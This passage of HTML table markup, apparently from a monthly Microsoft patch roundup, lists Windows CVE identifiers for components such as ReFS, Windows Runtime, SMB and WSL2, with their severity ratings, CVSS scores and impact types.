  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
